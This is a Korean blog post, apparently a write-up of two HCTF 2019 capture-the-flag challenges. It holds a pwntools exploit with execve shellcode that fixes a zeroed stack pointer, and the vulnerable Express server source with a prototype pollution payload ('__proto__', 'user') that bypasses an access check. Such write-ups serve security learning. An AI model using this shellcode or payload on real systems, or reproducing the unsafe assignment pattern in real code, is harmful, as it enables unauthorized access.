본문 바로가기

대외활동

HCTF 2019

Baby Shellcode 

elf 바이너리를 하나 준다.

어떠한 루틴을 거친 다음 우리가 입력한 쉘코드를 입력한다. 귀찮게 코드 읽지 않고 바로 인터넷에 있는 쉘코드를 넣어보았다.

crash

push를 실행할 때 크래시가 난다. 레지스터를 보면 보면 rsp가 0인 것을 확인할 수 있다. pop과 push가 수행될 때 rsp를 참조함으로 rsp가 유효한 주소를 가리키고 있지 않으면 에러가 난다.

 

우리가 입력한 쉘코드가 실행되기 전에 프로그램이 실행시키는 어떠한 코드가 있을 것이라고 판단해서 mmap된 영역의 코드를 확인해보았다.

 

reset register

 

xor로 rip를 제외한 모든 레지스터를 0으로 초기화하는 것을 볼 수 있다. 따라서 우리는 rsp에 유효한(write권한이 있는) 주소값을 넣어준 후 일반적인 쉘코드를 띄워주면 된다. rip가 가리키고 있는 mmap된 영역에 write 권한이 있어서 rip가 가리키고 있는 주소를 rsp에 복사한 후 값이 덮어써지는 것을 피하기 위해 rsp에 0x200만큼 더 해주었다. 다만 rip의 값을 가져오기 위해 mov가 아닌 lea를 사용해야 한다. 

 

from pwn import *
shellcode="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
code="lea rsp ,[rip];add rsp,0x200"
shellcode=asm(code, arch = 'amd64', os = 'linux')+shellcode
p=remote('prob.hctf.icewall.org',32001)
p.sendline(shellcode)
p.interactive()

 

 

get flag

Baby Web

 

js 파일이 주어진다. 서버의 소스코드인 것 같다.

var express = require('express');
var ejs = require('ejs');
var bodyParser = require('body-parser');
var session = require('express-session');
var app = express();
var credentials = [];
var tmp_creds = {};
var latest = [];

app.use(bodyParser.json())
app.use(bodyParser.urlencoded({ extended: true }))

app.use('/static',express.static(__dirname + '/public'));
app.engine('ejs',ejs.renderFile)

app.use(session({
	secret: '[SECRET]',
	resave: false,
	saveUninitialized: true
}));

function init_guest(){
	if (latest.length > 20) {
		latest = []
	}
}
app.get('/secret',function(req,res){
	var username = req.session.username;
	if(username!=null && credentials.user==username){
		res.send("HCTF{this_is_not_flag}");
	}else{
		res.send("Permission denied.");
	}
})

app.get('/',function(req, res){
	if(req.session.username==null){
		res.render('index.ejs',{"isLogin":false,"guest":[]});
	}else{
		res.render('index.ejs',{"isLogin":true,"guest":latest});
	}
})

app.post('/write',function(req,res){
	init_guest();
	var d = req.body;
	var tmp_guest = [];
	if(d.month!=null && d.day!=null && d.contents!=null){
		tmp_guest[d.month] = d.day;
		tmp_guest[d.month][d.day]= d.contents;
		latest[latest.length] = d.contents;
		tmp_guest = [];
		res.send({"result":true});
	}else{
		res.send({"result":false});
	}
});

app.post('/login',function(req,res){
	var sess = req.session;
	if(req.body.user != true || req.body.pass != true){
		if(tmp_creds[req.body.user]==null){
			tmp_creds[req.body.user] = req.body.pass;
	    	sess.username = req.body.user;
			res.send({"result":true});
		}else{
			if(tmp_creds[req.body.user] != req.body.pass){
				res.send({"result":false});
			}else{
				sess.username = req.body.user;
				res.send({"result":true});
			}	
		}
	}
});

var server = app.listen(12000, function(){
	console.log('[*] Server Running.');
})

 

 

 

코드를 살펴보면 secret이라는 페이지가 있다. secret 페이지에 접근하면 req.session.username이 존재하는지와 creditionals.user과 일치하지 확인한다. 딱 봐도 여기에 flag가 있게 생겼다. req.session.username은 로그인하면 생성된다. 하지만 creditionals를 보면 빈 리스트이며 값을 추가해주는 부분이 없다.  

app.get('/secret',function(req,res){
	var username = req.session.username;
	if(username!=null && credentials.user==username){
		res.send("HCTF{this_is_not_flag}");
	}else{
		res.send("Permission denied.");
	}
})

 

 

자바스크립트에서는 프로토타입이라는 개념이 존재한다. 우리가 어떤 객체에 대하여 프로토타입을 수정할 수 있다면 그 객체와 같은 타입을 공유하는 객체에 대하여 값을 수정할 수 있다. 예를 들어 아래의 예시를 보자. 코드에서 b.test라는 값을 수정하지 않았는데도 pollute라는 값이 들어가 있다. 이러한 공격방식을 js prototype pollution이라고 한다.

 

write를 보면 tmp_guest라는 빈 list를 생성하고 거기에 유저가 전송한 데이터를 추가한다.

 

app.post('/write',function(req,res){
	init_guest();
	var d = req.body;
	var tmp_guest = [];
	if(d.month!=null && d.day!=null && d.contents!=null){
		tmp_guest[d.month] = d.day;
		tmp_guest[d.month][d.day]= d.contents;
		latest[latest.length] = d.contents;
		tmp_guest = [];
		res.send({"result":true});
	}else{
		res.send({"result":false});
	}
});

"tmp_guest[d.month][d.day]= d.contents"에서

d.month="__proto__"

d.day="user"

d.contents=내 아이디 값(예를 들어 jjy)이 들어간다면 아래와 같은 코드가 될 것이다.

tmp_guest[d.month][d.day]= d.contents

tmp_guest["__proto__"]["user"]= "jjy"

이제 list 타입의 __proto__에는 ["user"]="jjy"가 들어갔다. 이해를 돕기 위해 아래의 코드를 보자. list 타입의 원형에 ["user"]="jjy"를 넣은 것임으로 다른 list 객체에서 ["user"]를 참조할 때 jjy가 반환된다.

따라서 credentials.user 역시 jjy를 반환하게 될 것이다.

 

'대외활동' 카테고리의 다른 글

Incognito CTF 2020  (0) 2020.08.30
JJY  (1) 2020.05.12